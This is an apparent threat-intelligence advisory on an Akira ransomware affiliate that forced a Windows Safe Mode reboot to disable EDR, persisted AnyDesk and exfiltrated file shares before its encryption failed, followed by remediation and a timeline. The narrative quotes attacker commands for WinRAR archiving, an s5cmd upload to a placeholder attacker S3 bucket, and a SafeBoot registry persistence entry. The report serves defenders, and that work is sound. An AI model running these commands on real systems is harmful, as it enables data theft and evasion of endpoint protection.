Akira Ransomware Affiliate Forces Windows Safe Mode Reboot to Disable EDR, Exfiltrates Data via AnyDesk/WinRAR/s5cmd but Fails to Encrypt
Akira Ransomware Affiliate Forces Windows Safe Mode Reboot (TL-2026-2010) is a high-severity ransomware operation, first published 2026-08-13. It is attributed to Akira with medium confidence, affects SonicWall SonicOS SSL VPN, maps to 12 MITRE ATT&CK techniques (T1018, T1021.001, T1039), and is covered by 9 detection rules and 10 indicators of compromise.
Key facts for TL-2026-2010
- Threat ID
- TL-2026-2010
- Severity
- HIGH
- Status
- ACTIVE
- Category
- RANSOMWARE
- First published
- 2026-08-13
- Last reviewed
- 2026-08-13
- Attribution
- Akira
- Attribution confidence
- MEDIUM
- Motivation
- FINANCIAL
- Detection rules
- 9
- Indicators of compromise
- 10
Malware and tooling in Akira Ransomware Affiliate Forces Windows Safe Mode Reboot
Malware and tooling: AnyDesk, AnyDesk, WinRAR, s5cmd
An Akira ransomware affiliate breached an exposed SonicWall SSL VPN account lacking MFA via credential spraying, then forced the compromised host to reboot into Safe Mode with Networking to disable the Huntress EDR agent and Microsoft Defender real-time protection for roughly 90 minutes. The attacker persisted AnyDesk through the SafeBoot registry, archived mapped file shares with WinRAR, and exfiltrated the data to an attacker-controlled S3 bucket with s5cmd, but the akira.exe payload crashed from virtual-memory exhaustion inside the resource-constrained Safe Mode environment and was quarantined by a subsequent Defender scan.
How Akira Ransomware Affiliate Forces Windows Safe Mode Reboot works
On 2026-08-04, an Akira ransomware affiliate compromised a SonicWall SSL VPN account that was not protected by multi-factor authentication. Huntress observed a burst of failed logins from several external IP addresses beginning at 03:45 UTC (a credential-spraying pattern against multiple usernames), followed roughly seven minutes later by a successful authentication at 03:52:42 UTC from source IP 72.23.77.35 using valid, unprotected credentials.
About two hours after initial access, the operator pivoted via RDP to the victim's domain controller and ran PowerShell-based Active Directory reconnaissance: Get-ADUser and Get-ADComputer queries (with $formatenumerationlimit set to -1 to defeat PowerShell's default multi-valued-attribute truncation) were used to dump full user and computer inventories to C:\ProgramData\AdUsers.txt and C:\ProgramData\AdComp.txt.
The affiliate then staged and exfiltrated data before attempting encryption: mapped file shares were archived with WinRAR (WinRAR.exe a -ep1 -scul -r0 -iext -imon1 -- . against multiple share paths) and uploaded to an attacker-controlled Amazon S3 bucket using the s5cmd command-line utility (s5cmd cp --sp "<staging_path>" s3://<attacker-bucket>/). Microsoft Defender flagged the s5cmd binary (SHA256 e2356c742c74cce5c6b6100162d0071a3f71e2fed2ed895c2011061a95b3299a) as HackTool:Win32/SSCmd!dha. For durable remote access, the affiliate installed AnyDesk as a Windows service and added it to the Safe Mode driver/service allow-list via reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /ve /d Service, ensuring AnyDesk would still start if the host rebooted into Safe Mode.
At 06:29:21 UTC the attacker ran msconfig.exe to force a reboot into Safe Mode with Networking (boot flags NOEXECUTE=OPTOUT SAFEBOOT:NETWORK; confirmed by Kernel-Boot event 27 and Kernel-General event 12 recording BootMode=2). Because most third-party services -- including the Huntress EDR agent and Microsoft Defender's real-time protection -- do not load in Safe Mode, this single action blinded the host's defenses; Huntress stated this was the first time it had observed Safe Mode abuse in an Akira intrusion specifically, noting Snatch and AvosLocker affiliates had used the same defense-evasion trick previously. At 06:34:29 UTC the affiliate executed the akira.exe ransomware payload (Microsoft Defender signature Ransom:Win32/Akira.B!ibt). Because Safe Mode boots with a constrained virtual-memory configuration, the payload spawned a burst of child processes at 06:36:21 UTC and almost immediately began throwing 'Virtual Memory Minimum Too Low' / 'Out of Virtual Memory' errors, with a companion PowerShell error ('New guard page for stack cannot be created'); no files were encrypted. At 07:43:50 UTC, a Windows Defender scheduled scan detected the dormant akira.exe (Defender's own real-time engine was still disabled by Safe Mode, so on-access blocking did not fire). The attacker rebooted the host back to normal Windows mode at 08:10:38 UTC -- restoring Defender real-time protection -- and the scheduled-scan detection was quarantined at 08:12:28 UTC. Despite the encryption failure, the affiliate had already exfiltrated credentials and file-share contents in the roughly five hours before the Safe Mode reboot, leaving the victim exposed to data-extortion regardless of the failed encryption run.
This intrusion sits within Akira's broader, well-documented pattern of targeting internet-facing SonicWall SSL VPN appliances for initial access; a related, actively exploited SonicWall SonicOS improper-access-control flaw (CVE-2024-40766, CVSS 9.8, on CISA's Known Exploited Vulnerabilities catalog) has separately been used by Akira-linked actors to harvest SonicWall SSL VPN credentials and one-time-passcode seeds, though Huntress's telemetry for this specific incident attributes access to a credential-sprayed, MFA-less VPN account rather than to a confirmed exploitation of that CVE. Akira is a ransomware-as-a-service operation active since 2023, tracked under multiple vendor aliases (Secureworks GOLD SAHARA, Palo Alto Unit42 Howling Scorpius, CrowdStrike PUNK SPIDER, Microsoft Storm-1567) and reportedly linked to former Conti personnel; it is one of the most prolific ransomware operations by victim count and ransom proceeds through 2025-2026, running a double-extortion model of data theft plus encryption.
MITRE ATT&CK techniques used in TL-2026-2010
Discovery
T1018 Remote System Discovery; T1087.002 Domain Account
Lateral Movement
T1021.001 Remote Desktop Protocol
Collection
T1039 Data from Network Shared Drive; T1560.001 Archive via Utility
Execution
Initial Access
Credential Access
Command and Control
Persistence
Exfiltration
T1567.002 Exfiltration to Cloud Storage
defense-impairment
Affected products and versions in Akira Ransomware Affiliate Forces Windows Safe Mode Reboot
- SonicWall — SonicOS SSL VPN
Vulnerable versions: Any SonicOS SSL VPN account without MFA enforced
Fixed in: SSL VPN accounts with MFA enforced; devices patched against CVE-2024-40766 (beyond SonicOS 7.0.1-5035 / affected Gen5-Gen6 builds) - Microsoft — Windows Safe Mode with Networking
Vulnerable versions: All supported Windows versions where third-party EDR services are not configured to launch in Safe Mode
Fixed in: Hosts with EDR/security tooling configured to load in Safe Mode, or with SafeBoot registry write monitoring
Remediation for Akira Ransomware Affiliate Forces Windows Safe Mode Reboot
Patches
- Upgrade SonicWall SonicOS firmware beyond the versions vulnerable to CVE-2024-40766 (Gen7 7.0.1-5035 and earlier; all Gen5/Gen6 devices)
Immediate actions
- Enforce MFA on all SonicWall SSL VPN and other remote-access accounts, with no exceptions carved out for service or legacy accounts
- Restrict SonicWall management and SSL VPN portal access to trusted/allow-listed source IPs
- Monitor and alert on Safe Mode boot-configuration changes (BCD edits, msconfig SAFEBOOT flags, Kernel-Boot EID 27 / Kernel-General EID 12 with BootMode=2)
- Alert on new services or values written under HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal and \Network
- Hunt for AnyDesk (or other remote-access tools) installed as a Windows service outside of IT-managed deployment baselines
Workarounds
- Disable public access to the SonicWall Virtual Office Portal where not required
- Treat any previously exposed SonicWall SSL VPN credentials or OTP seeds as compromised and re-provision them
Longer-term hardening
- Deploy EDR/security tooling with Safe Mode-resilient drivers or launch-in-Safe-Mode support so protection is not blinded by a forced reboot
- Apply the latest SonicWall SonicOS firmware and rotate all SonicWall SSL VPN credentials and OTP/MFA seeds
- Segment VPN-facing hosts from domain controllers and enforce tiered administration to limit RDP-based lateral movement
- Build detections for bulk Active Directory enumeration (Get-ADUser/Get-ADComputer pulling full attribute sets with $formatenumerationlimit=-1)
- Baseline and alert on outbound traffic to Amazon S3 from hosts that do not normally use cloud-storage utilities like s5cmd
Timeline of Akira Ransomware Affiliate Forces Windows Safe Mode Reboot
- 08:12:28 UTC - Microsoft Defender quarantines akira.exe now that real-time protection is restored, roughly five hours after initial access.
- 08:10:38 UTC - Attacker reboots the host back into normal Windows mode, restoring Microsoft Defender real-time protection.
- 07:43:50 UTC - A Windows Defender scheduled scan detects the dormant akira.exe (signature Ransom:Win32/Akira.B!ibt); on-access blocking is still disabled by Safe Mode.
- 06:36:21-06:36:33 UTC - Payload spawns a burst of child processes and immediately hits virtual-memory-exhaustion and PowerShell stack-allocation errors; no files are encrypted.
- 06:34:29 UTC - akira.exe ransomware payload executed inside the Safe Mode session.
- 06:29:21 UTC - msconfig.exe used to force a reboot into Safe Mode with Networking (SAFEBOOT:NETWORK / BootMode=2), disabling the Huntress EDR agent and Microsoft Defender real-time protection.
- Prior to 06:29 UTC - AnyDesk installed as a Windows service and added to HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network so it will still launch if the host reboots into Safe Mode.
- Approx. 06:00-06:20 UTC - Mapped file shares archived with WinRAR and uploaded to an attacker-controlled Amazon S3 bucket via the s5cmd utility.
- Approx. 05:50 UTC - PowerShell Get-ADUser and Get-ADComputer queries (with $formatenumerationlimit=-1) dump full AD user and computer inventories to C:\ProgramData\AdUsers.txt and C:\ProgramData\AdComp.txt.
- Approx. 05:45 UTC - Attacker uses RDP to reach the victim's domain controller, roughly two hours after initial VPN access.
- 03:52:42 UTC - Successful SSL VPN authentication from source IP 72.23.77.35 using a valid account not protected by MFA.
- 03:45 UTC - SonicWall SSL VPN logs a burst of failed logins against multiple usernames from several external IP addresses, a credential-spraying pattern.
- Huntress publishes technical findings; BleepingComputer and other outlets report it as the first observed use of forced Safe Mode reboot by an Akira affiliate.
Sources cited for Akira Ransomware Affiliate Forces Windows Safe Mode Reboot
- Akira hackers disable EDR with Safe Mode, steal data but fail to encrypt
- Akira Hits Safe Mode: Ransomware Rebooting Around EDR
- Akira Ransomware Reboots Windows Into Safe Mode to Disable EDR and Microsoft Defender
- First Akira Safe Mode attack disables endpoint detection and response but fails to encrypt, Huntress says
- Akira Ransomware Attack Exploits Safe Mode to Evade Security
- Akira ransomware attacker uses Safe Mode reboot to evade EDR
- Impair Defenses: Safe Mode Boot, Sub-technique T1562.009
- CISA confirms that SonicWall vulnerability is getting exploited (CVE-2024-40766)
- Akira Ransomware Threat Actor Profile - Tactics, Techniques, and Updates
- Akira Ransomware Group Utilizing SonicWall Devices for Initial Access
- #StopRansomware: Akira Ransomware
Threats related to Akira Ransomware Affiliate Forces Windows Safe Mode Reboot
- Akira Ransomware Reboots Victims into Safe Mode to Blind EDR and Windows Defender
- Akira Ransomware Kill Chain — SSLVPN Credential Stuffing → Kerberoasting → RDP Lateral → vssadmin Shadow Copy Deletion (SANS ISC Forensic Reconstruction, May 2026)
- 2026 Ransomware Surge Targeting US Organizations: Identity-First Compromise, BYOVD, and Living-Off-the-Cloud Exfiltration (Qilin, Akira, Clop, INC Ransom, Play, DragonForce, Sinobi)
- Bumblebee and AdaptixC2 Deliver Akira Ransomware via Bing SEO Poisoning (TB36726/PR40373)
- VECT 2.0 Ransomware's Nonce-Reuse Flaw Turns It Into an Accidental Wiper for Files Over 128KB
Detection coverage for TL-2026-2010
As of 2026-08-13, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2010 across Splunk SPL, Microsoft KQL and Sigma, covering 10 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.